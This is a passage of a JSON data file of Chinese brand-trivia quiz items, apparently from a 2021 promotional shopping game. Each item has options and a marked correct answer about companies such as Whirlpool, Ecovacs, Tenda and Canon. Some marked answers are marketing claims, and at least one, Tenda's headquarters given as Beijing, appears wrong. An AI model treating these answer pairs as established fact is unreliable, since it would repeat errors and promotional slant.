04:47:12","status":"1"},{"questionId":"4901451141","questionIndex":"5","questionStem":"费列罗logo的颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8L9tBZtWLLgplDAM\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LndxVDIdfa0gqUE\",\"optionDesc\":\"绿色\"},{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LUkcYHZVtz6qASI\",\"optionDesc\":\"咖啡色\"}]","questionToken":"L80Sx0BWjj8L9fMJn5fnf_HgtmwWdv9yxWP2sLewOgmUQL5FH9cDYFHvoszeSqLGClvGStg9cMQHlIpnK4oBh8ECEP1t6A","correct":"{\"optionId\":\"L80Sx0BWjj8L9fNfjN_8LUkcYHZVtz6qASI\",\"optionDesc\":\"咖啡色\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"4901451142","questionIndex":"4","questionStem":"惠而浦总部位于哪个国家?","options":"[{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8L0-8g_7wgs4VpoTmTg\",\"optionDesc\":\"意大利\"},{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LtEcSJHMmrhfakiMtA\",\"optionDesc\":\"德国\"},{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LaO_imJLmPGtg3yZiw\",\"optionDesc\":\"美国\"}]","questionToken":"L80Sx0BWjj8L9vMIn5fneLJPEZl7RUBbHkB2a2JNTl9aOvmNVnl-pH78yN4Y6Vw2Pafj6Fq4GO8x8gV5WakP4hvvQImFrQ","correct":"{\"optionId\":\"L80Sx0BWjj8L9vNfjN_8LaO_imJLmPGtg3yZiw\",\"optionDesc\":\"美国\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"4901451143","questionIndex":"3","questionStem":"惠而浦创立至今多少年了?","options":"[{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8LUloc3i-_RFgQNs7wA\",\"optionDesc\":\"99年\"},{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8L70uGjxQ1AwDNSs5_Q\",\"optionDesc\":\"29年\"},{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8Lv4GLqBmPFgP3nQy4w\",\"optionDesc\":\"59年\"}]","questionToken":"L80Sx0BWjj8L9_MPn5fnfzpVIrmZVkspoXjD0n9SiARCG9oLan_B2ixNrFjzZncw1b_SfRF2WcryxD7LHTylegkAG4v-EA","correct":"{\"optionId\":\"L80Sx0BWjj8L9_NfjN_8LUloc3i-_RFgQNs7wA\",\"optionDesc\":\"99年\"}","create_time":"27/1/2021 04:35:45","update_time":"27/1/2021 04:35:45","status":"1"},{"questionId":"4901451144","questionIndex":"3","questionStem":"惠而浦的售后保障是?","options":"[{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LroipyAQ0ocY6cw\",\"optionDesc\":\"整机保修2年\"},{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8L1xd5F7TdTojAZw\",\"optionDesc\":\"整机保修1年\"},{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LczwahcsDbxcRJk\",\"optionDesc\":\"整机保修3年\"}]","questionToken":"L80Sx0BWjj8L8PMPn5fnf_MR7KWnz2bk0Sz91f95rV5uu_vYsNnCdsmaHVWL5FwDlcGNRPd26Kns_CRjro-4WXRn5WDrhg","correct":"{\"optionId\":\"L80Sx0BWjj8L8PNfjN_8LczwahcsDbxcRJk\",\"optionDesc\":\"整机保修3年\"}","create_time":"27/1/2021 04:48:48","update_time":"27/1/2021 04:48:48","status":"1"},{"questionId":"4901451145","questionIndex":"2","questionStem":"科沃斯2020年销量最大的产品是?","options":"[{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8L8SSNCOaoNiGtph2\",\"optionDesc\":\"空气净化机器人\"},{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8La7Hh4yJLkfEYW9V\",\"optionDesc\":\"扫地机器人\"},{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8Ll9ItYsQaXl1AqP1\",\"optionDesc\":\"擦窗机器人\"}]","questionToken":"L80Sx0BWjj8L8fMOn5fnf6BKjFrcWo-orHUPcnkdeoB2Kbgibrfl3rf3FWar_qo7fYAb6sQ5Zya75DAu6Lhf5DJzaeWRaA","correct":"{\"optionId\":\"L80Sx0BWjj8L8fNfjN_8La7Hh4yJLkfEYW9V\",\"optionDesc\":\"扫地机器人\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"4901451147","questionIndex":"3","questionStem":"科沃斯成立于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8LQ9jnE9ia8jO4H0EZw\",\"optionDesc\":\"1998年\"},{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8L8ebgtWYYt5Un9QNtA\",\"optionDesc\":\"2018年\"},{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8Ll1sa1MQSh1XNjzJmg\",\"optionDesc\":\"2008年\"}]","questionToken":"L80Sx0BWjj8L8_MPn5fneMgLbCzbSDGLWAb7GlVNbpX2phBKatVEhGYfVZjP7Y8jZRSyDhSNTwfqMJ4MohfzK1bchhCLVw","correct":"{\"optionId\":\"L80Sx0BWjj8L8_NfjN_8LQ9jnE9ia8jO4H0EZw\",\"optionDesc\":\"1998年\"}","create_time":"27/1/2021 04:32:56","update_time":"27/1/2021 04:32:56","status":"1"},{"questionId":"4901451148","questionIndex":"5","questionStem":"科沃斯总部位于?","options":"[{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8L2SVN5yQRIUz69c\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8LZCB_20AwoM3Oo4\",\"optionDesc\":\"苏州\"},{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8Ls4B1wIlcDyX6mo\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8L_PMJn5fneJasnbQm2GJ0jbsimc4sngolrrDjTJuzA9lumO0JIzLEe_ZORrgkY5UN6lMok2-RXEbvoli4SQ","correct":"{\"optionId\":\"L80Sx0BWjj8L_PNfjN_8LZCB_20AwoM3Oo4\",\"optionDesc\":\"苏州\"}","create_time":"27/1/2021 04:39:23","update_time":"27/1/2021 04:39:23","status":"1"},{"questionId":"4901451175","questionIndex":"2","questionStem":"外交官品牌创自于?","options":"[{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LnFKOo3ieogFLos\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LZh-BxWGYXMKIj4\",\"optionDesc\":\"台湾\"},{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8L_QxIaiFrNoaEy8\",\"optionDesc\":\"广州\"}]","questionToken":"L80Sx0BWjj8I8fMOn5fnfwWzHrH0F5GoY4gF-4dBEP8Q7E7-yH3xj0oQOBsvenqTWaEI8i-H_cEzUUP8Ga59Fzh_RkKXsA","correct":"{\"optionId\":\"L80Sx0BWjj8I8fNfjN_8LZh-BxWGYXMKIj4\",\"optionDesc\":\"台湾\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"4901451176","questionIndex":"1","questionStem":"外交官品牌诞生于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LmdSMiVhb08DlsRu\",\"optionDesc\":\"1961\"},{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LwYHVIG5C6KxEQVc\",\"optionDesc\":\"1991\"},{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LcEZoMzQg9VA_-Lk\",\"optionDesc\":\"1971\"}]","questionToken":"L80Sx0BWjj8I8vMNn5fnfzl0AVte80cpVgHspUwOvpo-rJfz62OCJ4c_kMmKqe6ybwsI1-OQ-UgqiSLO0sOM_V9A7l_qcw","correct":"{\"optionId\":\"L80Sx0BWjj8I8vNfjN_8LcEZoMzQg9VA_-Lk\",\"optionDesc\":\"1971\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"4901451177","questionIndex":"4","questionStem":"外交官品牌到2021诞生多少周年?","options":"[{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LnxfRoh6nYd3r-6X\",\"optionDesc\":\"30\"},{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8Ly_B2_0z5KVShjtk\",\"optionDesc\":\"60\"},{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LdBZZX6-yvmidVsa\",\"optionDesc\":\"50\"}]","questionToken":"L80Sx0BWjj8I8_MIn5fnf5HMEM6IJtWCJj8qLUeU38SvZGPV_fe-kS2syZwJrzD4XmbdNB-xkQbf5y47W6lPkX-IiGaESQ","correct":"{\"optionId\":\"L80Sx0BWjj8I8_NfjN_8LdBZZX6-yvmidVsa\",\"optionDesc\":\"50\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"4901451178","questionIndex":"1","questionStem":"维他奶成立多少年了?","options":"[{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8Lj5eeZvPc8zLHKc\",\"optionDesc\":\"60\"},{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8L90_vD1Ds68MC7g\",\"optionDesc\":\"40\"},{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8LcfUChKrXhTJCkw\",\"optionDesc\":\"80\"}]","questionToken":"L80Sx0BWjj8I_PMNn5fneDed_TK-rAG6U7nAHkGdgyK-kqjbt4NNffUHGNua54WrywtxHtJWHAv1PjTYIjqmXjbRPJ-C-g","correct":"{\"optionId\":\"L80Sx0BWjj8I_PNfjN_8LcfUChKrXhTJCkw\",\"optionDesc\":\"80\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"4901451179","questionIndex":"2","questionStem":"维他奶属于什么类型的奶?","options":"[{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LYf5W8qtolYhWfoWrw\",\"optionDesc\":\"植物蛋白饮料\"},{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LkVThbtNYg-VBAyrMg\",\"optionDesc\":\"动物奶\"},{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8L5EevwUbZfY-gLA0Yw\",\"optionDesc\":\"固态奶\"}]","questionToken":"L80Sx0BWjj8I_fMOn5fneFunLncrwU4UWaNTaBSspGYG0crYL-4kAKGF-Ooo3EFvgvcuyfLKk0ExVfk6ckgntXL3TPUDlQ","correct":"{\"optionId\":\"L80Sx0BWjj8I_fNfjN_8LYf5W8qtolYhWfoWrw\",\"optionDesc\":\"植物蛋白饮料\"}","create_time":"27/1/2021 04:36:28","update_time":"27/1/2021 04:36:28","status":"1"},{"questionId":"4901451180","questionIndex":"3","questionStem":"维他奶豆奶的主要原料是什么?","options":"[{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8L4fg80RbUoSpPF0\",\"optionDesc\":\"红枣\"},{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LkDXJABS4c8qdX8\",\"optionDesc\":\"花生\"},{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LYtsOzTOqSFbwto\",\"optionDesc\":\"大豆\"}]","questionToken":"L80Sx0BWjj8H9PMPn5fnf-nXrPHXnSpaKgdEfoKDkZ0gTM6geVgheLM6Uzi-S58b7KDI8ox-v_rBAq26QOLFn3eHCPDrPg","correct":"{\"optionId\":\"L80Sx0BWjj8H9PNfjN_8LYtsOzTOqSFbwto\",\"optionDesc\":\"大豆\"}","create_time":"27/1/2021 04:41:04","update_time":"27/1/2021 04:41:04","status":"1"},{"questionId":"4901451181","questionIndex":"2","questionStem":"公牛BULL集团总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LolLgMZZMVZ-hlF-\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LSObHNn9dCN3rZAQ\",\"optionDesc\":\"浙江\"},{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8L0gxBOjarCf5uSxL\",\"optionDesc\":\"四川\"}]","questionToken":"L80Sx0BWjj8H9fMOn5fnf9k59z6D9modw7Qu9mtUwX3VDyg_6qdJ-RRlbKEZG0Y93p1s-9a_VxxB-J2jJsQ3QnISdj89QQ","correct":"{\"optionId\":\"L80Sx0BWjj8H9fNfjN_8LSObHNn9dCN3rZAQ\",\"optionDesc\":\"浙江\"}","create_time":"27/1/2021 04:48:59","update_time":"27/1/2021 04:48:59","status":"1"},{"questionId":"4901451182","questionIndex":"2","questionStem":"公牛品牌的标志颜色是什么?","options":"[{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8LblMqpDG5ZCyYqz1\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8L4BAyphFahC4NI3R\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8Lli35zYOPlZsxA2A\",\"optionDesc\":\"黄色\"}]","questionToken":"L80Sx0BWjj8H9vMOn5fnf3WvRAgJiN52hiFL8WJqm13-G5CVCLLWNfvoL-YwAdFS-WslGxvpRxiNIoH_Gibj86qe9WukCA","correct":"{\"optionId\":\"L80Sx0BWjj8H9vNfjN_8LblMqpDG5ZCyYqz1\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:50:40","update_time":"27/1/2021 04:50:40","status":"1"},{"questionId":"4901451183","questionIndex":"2","questionStem":"以下哪类产品属于公牛BULL售卖范围?","options":"[{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8LXRCZcy8wdCZCc4J\",\"optionDesc\":\"墙壁开关\"},{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8L6bGYP7F3LAG3HCn\",\"optionDesc\":\"计算机\"},{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8Lp-9iuohiN-psc64\",\"optionDesc\":\"加湿器\"}]","questionToken":"L80Sx0BWjj8H9_MOn5fnfxx1ipkqyHfp3ddF9UpnfYgi_qurZOcJ00cXXt01yYqc1Wp3PbqiuD-9HZbGFfepwuDQY-RMYg","correct":"{\"optionId\":\"L80Sx0BWjj8H9_NfjN_8LXRCZcy8wdCZCc4J\",\"optionDesc\":\"墙壁开关\"}","create_time":"27/1/2021 04:48:42","update_time":"27/1/2021 04:48:42","status":"1"},{"questionId":"4901451184","questionIndex":"3","questionStem":"品胜第一个移动电源为谁研发?","options":"[{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LoelyPF70uI1yl8\",\"optionDesc\":\"运动员\"},{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8L7pUS0vFaWlfrZE\",\"optionDesc\":\"艺术家\"},{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LQpr28pP37LnI9Y\",\"optionDesc\":\"探险队\"}]","questionToken":"L80Sx0BWjj8H8PMPn5fnf2ibQCUCMMUCBI7g_v8Ut_SXBGgj1wGmpX7a2wH4Tjg29YEFtsTdneCzEc9si6IpA9z3Hg9zaA","correct":"{\"optionId\":\"L80Sx0BWjj8H8PNfjN_8LQpr28pP37LnI9Y\",\"optionDesc\":\"探险队\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"4901451185","questionIndex":"4","questionStem":"品胜是不是CBA的赞助商?","options":"[{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LedSUjhkuBe8UPvs\",\"optionDesc\":\"是\"},{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8L-Oq1M-tjOyIhJa6\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LkQbrpprnlc4YBEF\",\"optionDesc\":\"不是\"}]","questionToken":"L80Sx0BWjj8H8fMIn5fnf_AQA8Xy8LTfQ3cktDhmtRYllr5CSwZFZ3rNiM0vjeaBNn7WotgoVtzh26dXGZVP8p5HLkmIPw","correct":"{\"optionId\":\"L80Sx0BWjj8H8fNfjN_8LedSUjhkuBe8UPvs\",\"optionDesc\":\"是\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"4901451186","questionIndex":"4","questionStem":"品胜的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8L12OT3c0hP7Freun\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LTd1tgfbx5M_G83t\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LgC0F9EeoYIXhy3d\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjj8H8vMIn5fneFA67XzFD1r-cHqNUjqF7iMSEOGQ020ciWlpWH4Of3CkxdMl_FTyAK-guInYWXnuUPn95NDw_g","correct":"{\"optionId\":\"L80Sx0BWjj8H8vNfjN_8LTd1tgfbx5M_G83t\",\"optionDesc\":\"黄色\"}","create_time":"27/1/2021 04:38:25","update_time":"27/1/2021 04:38:25","status":"1"},{"questionId":"4901451187","questionIndex":"2","questionStem":"金海马是在什么时候成立的?","options":"[{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LwzJ3b3t62UFEw\",\"optionDesc\":\"成立于1992年\"},{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LW_yPHGjndfh0g\",\"optionDesc\":\"成立于1990年\"},{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8Lgn8d1WHAwiTjA\",\"optionDesc\":\"成立于1991年\"}]","questionToken":"L80Sx0BWjj8H8_MOn5fnf78l5VjjkUz_daeTcdEjlM4JUJq6y82Vv4Sn5Mj4ANEL4rGXErMe9v0bTZBwAhbCkRICeS56hg","correct":"{\"optionId\":\"L80Sx0BWjj8H8_NfjN_8LW_yPHGjndfh0g\",\"optionDesc\":\"成立于1990年\"}","create_time":"27/1/2021 04:41:16","update_time":"27/1/2021 04:41:16","status":"1"},{"questionId":"4901451188","questionIndex":"3","questionStem":"金海马主要经营什么类目?","options":"[{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8L-2d3F0Ka6m8wtc4\",\"optionDesc\":\"服装\"},{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8LVELLgClr0K-m773\",\"optionDesc\":\"家具家居\"},{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8Li5HMIU2UZXDG0Ee\",\"optionDesc\":\"生鲜\"}]","questionToken":"L80Sx0BWjj8H_PMPn5fneEloJCC51GbJRQXdpGzRmetk1TTyASzlvqr4HtR6KwICyMGPVgYKv0JvSJw2KPyFNgDOS0cdGQ","correct":"{\"optionId\":\"L80Sx0BWjj8H_PNfjN_8LVELLgClr0K-m773\",\"optionDesc\":\"家具家居\"}","create_time":"27/1/2021 04:41:49","update_time":"27/1/2021 04:41:49","status":"1"},{"questionId":"4901451189","questionIndex":"1","questionStem":"港荣工厂总部在哪里啊?","options":"[{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LxU-CJ8W0BTXyGI\",\"optionDesc\":\"湖北武汉\"},{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8Lob1TWXRi9NrOaQ\",\"optionDesc\":\"四川成都\"},{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LcrW91IUvDf4P6k\",\"optionDesc\":\"广东揭阳\"}]","questionToken":"L80Sx0BWjj8H_fMNn5fneLt_DsI_UM2y58qWKUBp_PAyktaPFNCpaJK3ecqrLWr3SHY7v3FNNJ6jghMI9-1smXGTMpqgmQ","correct":"{\"optionId\":\"L80Sx0BWjj8H_fNfjN_8LcrW91IUvDf4P6k\",\"optionDesc\":\"广东揭阳\"}","create_time":"27/1/2021 04:36:58","update_time":"27/1/2021 04:36:58","status":"1"},{"questionId":"4901451190","questionIndex":"1","questionStem":"港荣什么时候成立的?","options":"[{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8L3hnZCq6AREgz6It\",\"optionDesc\":\"1991年\"},{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LYa5MxCf7MotCOPJ\",\"optionDesc\":\"1993年\"},{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LsbzM6KNm-sEx2bT\",\"optionDesc\":\"1992年\"}]","questionToken":"L80Sx0BWjj8G9PMNn5fneEB1koQi6rVNfgRlW5bOCy-CIBi4sn4hp0GnA9a4dL_d-F0XJ8AZGtgTTtKo-_jGjo1TqsDSqQ","correct":"{\"optionId\":\"L80Sx0BWjj8G9PNfjN_8LYa5MxCf7MotCOPJ\",\"optionDesc\":\"1993年\"}","create_time":"27/1/2021 04:41:46","update_time":"27/1/2021 04:41:46","status":"1"},{"questionId":"4901451191","questionIndex":"2","questionStem":"小度在哪一年春晚闪亮登场?","options":"[{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LVx7Ym8Okj5RmmtLyA\",\"optionDesc\":\"2019\"},{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LzTHGrFwIYvukFoQbA\",\"optionDesc\":\"2018\"},{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LhhLzit_ZwtdcQzb6A\",\"optionDesc\":\"2008\"}]","questionToken":"L80Sx0BWjj8G9fMOn5fnf99nF746mRL69JLD2l5wSiD5oK8lO1Vfx035YgYAga5xyrxYac6t185O6UrI5XhUQa7yN_soRA","correct":"{\"optionId\":\"L80Sx0BWjj8G9fNfjN_8LVx7Ym8Okj5RmmtLyA\",\"optionDesc\":\"2019\"}","create_time":"27/1/2021 04:26:02","update_time":"27/1/2021 04:26:02","status":"1"},{"questionId":"4901451192","questionIndex":"5","questionStem":"小度智能耳机支持哪种语言同声翻译?","options":"[{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8Lugd714AJaHSyvK9uw\",\"optionDesc\":\"中日\"},{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8L7F9sNAHmkfwhxJ5rg\",\"optionDesc\":\"中法\"},{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8LbGwmwkm4PCm7FAuNQ\",\"optionDesc\":\"中英\"}]","questionToken":"L80Sx0BWjj8G9vMJn5fnf8ppZjBE22qm533YgPlOMhBoMcPG3NmUNUY91_tJzGMuehqbRkit0cZYiNnszuM5vtqQc1JX8Q","correct":"{\"optionId\":\"L80Sx0BWjj8G9vNfjN_8LbGwmwkm4PCm7FAuNQ\",\"optionDesc\":\"中英\"}","create_time":"27/1/2021 04:35:47","update_time":"27/1/2021 04:35:47","status":"1"},{"questionId":"4901451193","questionIndex":"3","questionStem":"小度X8是哪一个综艺的明星爆款?","options":"[{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LqploV3_36s9StgRLg\",\"optionDesc\":\"向往的生活3\"},{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LzEsswLhtgOxvCqV4w\",\"optionDesc\":\"亲爱的客栈3\"},{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LVEhyBPSehvAADS0Xw\",\"optionDesc\":\"向往的生活4\"}]","questionToken":"L80Sx0BWjj8G9_MPn5fnfz9LX2wfDFML1YyYnbqyL4mgDv0bDI41TyJp89ccxkAmhO8Q4WjvV3Nymy0drAgBUFbpBV1OmA","correct":"{\"optionId\":\"L80Sx0BWjj8G9_NfjN_8LVEhyBPSehvAADS0Xw\",\"optionDesc\":\"向往的生活4\"}","create_time":"27/1/2021 04:41:06","update_time":"27/1/2021 04:41:06","status":"1"},{"questionId":"4901451194","questionIndex":"1","questionStem":"腾达Wi-Fi6有几款?","options":"[{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8Ls5RXugwxIC-A9jz\",\"optionDesc\":\"3款\"},{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8LTHkeUeP-TXWPKH5\",\"optionDesc\":\"1款\"},{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8L-QfvvYLaOLzhvSy\",\"optionDesc\":\"5款\"}]","questionToken":"L80Sx0BWjj8G8PMNn5fneMPzvnh5AyXiNFpfgr4WQw6rtIXXMMb6UQu1C04fE8l5IqKTbh3N-XLDXdkRP7cRNlPsv94qyw","correct":"{\"optionId\":\"L80Sx0BWjj8G8PNfjN_8LTHkeUeP-TXWPKH5\",\"optionDesc\":\"1款\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"4901451195","questionIndex":"5","questionStem":"腾达AX3路由器是什么处理器?","options":"[{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8L2ZtP153rIe_hc81\",\"optionDesc\":\"高通\"},{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LmZhafM-kBRvWFgJ\",\"optionDesc\":\"博通\"},{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LdDVe7VZ3D1dsBLw\",\"optionDesc\":\"联发科\"}]","questionToken":"L80Sx0BWjj8G8fMJn5fnf8MuoVP0jgVSyld_1RtcruRLik1u46t_EGtVrsLiBIXXqXzsaPyvqT2ptxTSHpqjh-WihHn77A","correct":"{\"optionId\":\"L80Sx0BWjj8G8fNfjN_8LdDVe7VZ3D1dsBLw\",\"optionDesc\":\"联发科\"}","create_time":"27/1/2021 04:55:08","update_time":"27/1/2021 04:55:08","status":"1"},{"questionId":"4901451196","questionIndex":"4","questionStem":"腾达总部位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LVTT4vkkwCCCFao\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8L4oAR4mysoiamUA\",\"optionDesc\":\"深圳\"},{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LmtqOzoibzfUKgA\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8G8vMIn5fnfwQHrRmaAKWrZZvn-VTfTMEVhNrl72CQ-yjt-3pBFN6TfFK0J8bPggAgIEFckvt4EiFMCSOquA","correct":"{\"optionId\":\"L80Sx0BWjj8G8vNfjN_8LVTT4vkkwCCCFao\",\"optionDesc\":\"北京\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"4901451197","questionIndex":"3","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8L4uLO9eQOFd6Agg\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8Lfix-dAfHQWaWkg\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8LtpIxPqUZ0h_m4M\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8G8_MPn5fneO6RVlRMhOUUjokh54_T4KgvhXeSg2hu3crkHDH4SR1iKeNNgFjehB21-q2cYmaKz_-EYHVFMQ","correct":"{\"optionId\":\"L80Sx0BWjj8G8_NfjN_8Lfix-dAfHQWaWkg\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"4901451198","questionIndex":"5","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LRdBY2JeuUZiy7hA\",\"optionDesc\":\"任何年龄段都适用\"},{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8L3JDjmxPNyhTWvWJ\",\"optionDesc\":\"50岁以上\"},{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LohzDZINRyo96Wyq\",\"optionDesc\":\"20岁以下\"}]","questionToken":"L80Sx0BWjj8G_PMJn5fnf9aFhPSoYixWV5sH0PWbIDzjU6gxI-tzpfeh2KIN5cBeFTYv4ysTv6gbOhNS286omy3KKKTxYw","correct":"{\"optionId\":\"L80Sx0BWjj8G_PNfjN_8LRdBY2JeuUZiy7hA\",\"optionDesc\":\"任何年龄段都适用\"}","create_time":"27/1/2021 04:41:09","update_time":"27/1/2021 04:41:09","status":"1"},{"questionId":"4901451199","questionIndex":"2","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8Ldx8yDSTih7hY_O0PA\",\"optionDesc\":\"1937年\"},{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8LmVcHbg-Vh84d6t2sQ\",\"optionDesc\":\"2017年\"},{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8L7aWHw485PsQ7I5uTQ\",\"optionDesc\":\"1957年\"}]","questionToken":"L80Sx0BWjj8G_fMOn5fneAOjtJpTKm0iMRooTX0Miusu3Qz-T6MyosSvALFj2p0IGxAdPXZGixXeVL6hJaPyr6W1vn2C_Q","correct":"{\"optionId\":\"L80Sx0BWjj8G_fNfjN_8Ldx8yDSTih7hY_O0PA\",\"optionDesc\":\"1937年\"}","create_time":"27/1/2021 03:40:07","update_time":"27/1/2021 03:40:07","status":"1"},{"questionId":"4901451200","questionIndex":"3","questionStem":"联想的logo正确使用是那个?","options":"[{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2jBJtf8Mt7uvtF8A\",\"optionDesc\":\"lenovo\"},{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2W5dYWW1WmPPsDXB\",\"optionDesc\":\"lenovo联想\"},{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ281S1qOG1fOKizYw\",\"optionDesc\":\"联想\"}]","questionToken":"L80Sx0BWjjwcI4hQJ7iLjJYfWH_KnHrMGMuWFKiF_JGHyrijm6r8cy7KwxKJR8LS1XIsgmuJ21zVGrM9uu3yrBYn1Wm4xA","correct":"{\"optionId\":\"L80Sx0BWjjwcI4gANPCQ2W5dYWW1WmPPsDXB\",\"optionDesc\":\"lenovo联想\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 